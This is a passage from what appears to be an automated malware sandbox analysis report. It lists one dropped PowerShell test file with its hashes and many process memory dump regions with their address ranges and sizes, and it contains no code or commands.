          d95cd98d22ca048d0fc5bca551c9db13d6fa705f6af120bbbb621cf2b30284bfdc7320d0a819bb26dab1e0a46253cc311a370bed4ef72ecb60c69791ed720168

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qkvjmy3b.lyc.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/3288-131-0x00000000024D8000-0x00000000024E0000-memory.dmp

          Filesize

          32KB

        • memory/3288-149-0x0000000002550000-0x0000000002558000-memory.dmp

          Filesize

          32KB

        • memory/3288-52-0x0000000002488000-0x0000000002490000-memory.dmp

          Filesize

          32KB

        • memory/3288-51-0x0000000002400000-0x0000000002408000-memory.dmp

          Filesize

          32KB

        • memory/3288-53-0x0000000002120000-0x0000000002121000-memory.dmp

          Filesize

          4KB

        • memory/3288-57-0x0000000002490000-0x0000000002498000-memory.dmp

          Filesize

          32KB

        • memory/3288-56-0x00000000023E8000-0x00000000023F0000-memory.dmp

          Filesize

          32KB

        • memory/3288-55-0x0000000002450000-0x0000000002458000-memory.dmp

          Filesize

          32KB

        • memory/3288-59-0x0000000002498000-0x00000000024A0000-memory.dmp

          Filesize

          32KB

        • memory/3288-63-0x00000000024A0000-0x00000000024A8000-memory.dmp

          Filesize

          32KB

        • memory/3288-66-0x00000000024A8000-0x00000000024B0000-memory.dmp

          Filesize

          32KB

        • memory/3288-65-0x0000000002458000-0x0000000002460000-memory.dmp

          Filesize

          32KB

        • memory/3288-70-0x00000000024B0000-0x00000000024B8000-memory.dmp

          Filesize

          32KB

        • memory/3288-69-0x0000000002460000-0x0000000002468000-memory.dmp

          Filesize

          32KB

        • memory/3288-73-0x0000000002468000-0x0000000002470000-memory.dmp

          Filesize

          32KB

        • memory/3288-75-0x00000000024B8000-0x00000000024C0000-memory.dmp

          Filesize

          32KB

        • memory/3288-74-0x0000000002470000-0x0000000002478000-memory.dmp

          Filesize

          32KB

        • memory/3288-81-0x00000000024C0000-0x00000000024C8000-memory.dmp

          Filesize

          32KB

        • memory/3288-85-0x00000000024C8000-0x00000000024D0000-memory.dmp

          Filesize

          32KB

        • memory/3288-84-0x0000000002480000-0x0000000002488000-memory.dmp

          Filesize

          32KB

        • memory/3288-83-0x0000000002478000-0x0000000002480000-memory.dmp

          Filesize

          32KB

        • memory/3288-89-0x00000000024D0000-0x00000000024D8000-memory.dmp

          Filesize

          32KB

        • memory/3288-92-0x00000000024D8000-0x00000000024E0000-memory.dmp

          Filesize

          32KB

        • memory/3288-91-0x0000000002488000-0x0000000002490000-memory.dmp

          Filesize

          32KB

        • memory/3288-96-0x00000000024E0000-0x00000000024E8000-memory.dmp

          Filesize

          32KB

        • memory/3288-95-0x0000000002490000-0x0000000002498000-memory.dmp

          Filesize

          32KB

        • memory/3288-100-0x00000000024E8000-0x00000000024F0000-memory.dmp

          Filesize

          32KB

        • memory/3288-99-0x0000000002498000-0x00000000024A0000-memory.dmp

          Filesize

          32KB

        • memory/3288-103-0x00000000024F0000-0x00000000024F8000-memory.dmp

          Filesize

          32KB

        • memory/3288-102-0x00000000024A0000-0x00000000024A8000-memory.dmp

          Filesize

          32KB

        • memory/3288-106-0x00000000024F8000-0x0000000002500000-memory.dmp

          Filesize

          32KB

        • memory/3288-105-0x00000000024A8000-0x00000000024B0000-memory.dmp

          Filesize

          32KB

        • memory/3288-111-0x0000000002500000-0x0000000002508000-memory.dmp

          Filesize

          32KB

        • memory/3288-110-0x00000000024B0000-0x00000000024B8000-memory.dmp

          Filesize

          32KB

        • memory/3288-114-0x0000000002120000-0x0000000002121000-memory.dmp

          Filesize

          4KB

        • memory/3288-117-0x00000000024B8000-0x00000000024C0000-memory.dmp

          Filesize

          32KB

        • memory/3288-118-0x0000000002508000-0x0000000002510000-memory.dmp

          Filesize

          32KB

        • memory/3288-121-0x0000000002510000-0x0000000002518000-memory.dmp

          Filesize

          32KB

        • memory/3288-120-0x00000000024C0000-0x00000000024C8000-memory.dmp

          Filesize

          32KB

        • memory/3288-125-0x0000000002518000-0x0000000002520000-memory.dmp

          Filesize

          32KB

        • memory/3288-124-0x00000000024C8000-0x00000000024D0000-memory.dmp

          Filesize

          32KB

        • memory/3288-129-0x0000000002520000-0x0000000002528000-memory.dmp

          Filesize

          32KB

        • memory/3288-128-0x00000000024D0000-0x00000000024D8000-memory.dmp

          Filesize

          32KB

        • memory/3288-132-0x0000000002528000-0x0000000002530000-memory.dmp

          Filesize

          32KB

        • memory/3288-46-0x0000000002480000-0x0000000002488000-memory.dmp

          Filesize

          32KB

        • memory/3288-135-0x0000000002530000-0x0000000002538000-memory.dmp

          Filesize

          32KB

        • memory/3288-134-0x00000000024E0000-0x00000000024E8000-memory.dmp

          Filesize

          32KB

        • memory/3288-139-0x0000000002538000-0x0000000002540000-memory.dmp

          Filesize

          32KB

        • memory/3288-138-0x00000000024E8000-0x00000000024F0000-memory.dmp

          Filesize

          32KB

        • memory/3288-141-0x00000000024F0000-0x00000000024F8000-memory.dmp

          Filesize

          32KB

        • memory/3288-142-0x0000000002540000-0x0000000002548000-memory.dmp

          Filesize

          32KB

        • memory/3288-145-0x00000000024F8000-0x0000000002500000-memory.dmp

          Filesize

          32KB

        • memory/3288-146-0x0000000002548000-0x0000000002550000-memory.dmp

          Filesize

          32KB

        • memory/3288-45-0x0000000002478000-0x0000000002480000-memory.dmp

          Filesize

          32KB

        • memory/3288-148-0x0000000002500000-0x0000000002508000-memory.dmp

          Filesize

          32KB

        • memory/3288-151-0x0000000002120000-0x0000000002121000-memory.dmp

          Filesize

          4KB

        • memory/3288-153-0x0000000002558000-0x0000000002560000-memory.dmp

          Filesize

          32KB

        • memory/3288-152-0x0000000002508000-0x0000000002510000-memory.dmp

          Filesize

          32KB

        • memory/3288-155-0x0000000002120000-0x0000000002121000-memory.dmp

          Filesize

          4KB

        • memory/3288-156-0x0000000002510000-0x0000000002518000-memory.dmp

          Filesize

          32KB

        • memory/3288-157-0x0000000002560000-0x0000000002568000-memory.dmp

          Filesize

          32KB

        • memory/3288-162-0x0000000002568000-0x0000000002570000-memory.dmp

          Filesize

          32KB

        • memory/3288-161-0x0000000002518000-0x0000000002520000-memory.dmp

          Filesize

          32KB

        • memory/3288-168-0x0000000002570000-0x0000000002578000-memory.dmp

          Filesize

          32KB

        • memory/3288-167-0x0000000002520000-0x0000000002528000-memory.dmp

          Filesize

          32KB

        • memory/3288-171-0x0000000002578000-0x0000000002580000-memory.dmp

          Filesize

          32KB

        • memory/3288-170-0x0000000002528000-0x0000000002530000-memory.dmp

          Filesize

          32KB

        • memory/3288-175-0x0000000002580000-0x0000000002588000-memory.dmp

          Filesize

          32KB

        • memory/3288-174-0x0000000002530000-0x0000000002538000-memory.dmp

          Filesize

          32KB

        • memory/3288-177-0x0000000002538000-0x0000000002540000-memory.dmp

          Filesize

          32KB

        • memory/3288-178-0x0000000002588000-0x0000000002590000-memory.dmp

          Filesize

          32KB

        • memory/3288-180-0x0000000002540000-0x0000000002548000-memory.dmp

          Filesize

          32KB

        • memory/3288-181-0x0000000002590000-0x0000000002598000-memory.dmp

          Filesize

          32KB

        • memory/3288-183-0x0000000002548000-0x0000000002550000-memory.dmp

          Filesize

          32KB

        • memory/3288-184-0x0000000002598000-0x00000000025A0000-memory.dmp

          Filesize

          32KB

        • memory/3288-191-0x0000000002558000-0x0000000002560000-memory.dmp

          Filesize

          32KB

        • memory/3288-190-0x00000000025A8000-0x00000000025B0000-memory.dmp

          Filesize

          32KB

        • memory/3288-189-0x00000000025A0000-0x00000000025A8000-memory.dmp

          Filesize

          32KB

        • memory/3288-188-0x0000000002550000-0x0000000002558000-memory.dmp

          Filesize

          32KB

        • memory/3288-194-0x00000000025B0000-0x00000000025B8000-memory.dmp

          Filesize

          32KB

        • memory/3288-193-0x0000000002560000-0x0000000002568000-memory.dmp

          Filesize

          32KB

        • memory/3288-196-0x0000000002120000-0x0000000002121000-memory.dmp

          Filesize

          4KB

        • memory/3288-201-0x00000000025B8000-0x00000000025C0000-memory.dmp

          Filesize

          32KB

        • memory/3288-200-0x0000000002568000-0x0000000002570000-memory.dmp

          Filesize

          32KB

        • memory/3288-203-0x0000000002570000-0x0000000002578000-memory.dmp

          Filesize

          32KB

        • memory/3288-205-0x0000000002578000-0x0000000002580000-memory.dmp

          Filesize

          32KB

        • memory/3288-207-0x0000000002580000-0x0000000002588000-memory.dmp

          Filesize

          32KB

        • memory/3288-208-0x0000000002588000-0x0000000002590000-memory.dmp

          Filesize

          32KB

        • memory/3288-212-0x0000000002120000-0x0000000002121000-memory.dmp

          Filesize

          4KB

        • memory/3288-47-0x00000000023F8000-0x0000000002400000-memory.dmp

          Filesize

          32KB

        • memory/3288-44-0x00000000023B0000-0x00000000023D8000-memory.dmp

          Filesize

          160KB

        • memory/3288-39-0x0000000002120000-0x0000000002121000-memory.dmp

          Filesize

          4KB

        • memory/3288-40-0x0000000002468000-0x0000000002470000-memory.dmp

          Filesize

          32KB

        • memory/3288-41-0x0000000002470000-0x0000000002478000-memory.dmp

          Filesize

          32KB

        • memory/3288-37-0x0000000002460000-0x0000000002468000-memory.dmp

          Filesize

          32KB

        • memory/3288-34-0x0000000002458000-0x0000000002460000-memory.dmp

          Filesize

          32KB

        • memory/3288-32-0x0000000002448000-0x0000000002450000-memory.dmp

          Filesize

          32KB

        • memory/3288-28-0x0000000002450000-0x0000000002458000-memory.dmp

          Filesize

          32KB

        • memory/3288-29-0x00000000023E8000-0x00000000023F0000-memory.dmp

          Filesize

          32KB

        • memory/3288-30-0x00000000023F0000-0x00000000023F8000-memory.dmp

          Filesize

          32KB

        • memory/3288-13-0x0000000002400000-0x0000000002408000-memory.dmp

          Filesize

          32KB

        • memory/3288-10-0x00000000023F8000-0x0000000002400000-memory.dmp

          Filesize

          32KB

        • memory/3288-4-0x00000000023B0000-0x00000000023D8000-memory.dmp

          Filesize

          160KB

        • memory/3288-216-0x0000000002120000-0x0000000002121000-memory.dmp

          Filesize

          4KB

        • memory/3288-225-0x0000000002120000-0x0000000002121000-memory.dmp

          Filesize

          4KB

        • memory/3288-265-0x0000000002120000-0x0000000002121000-memory.dmp

          Filesize

          4KB

        • memory/4228-0-0x0000000000400000-0x000000000042F000-memory.dmp

          Filesize

          188KB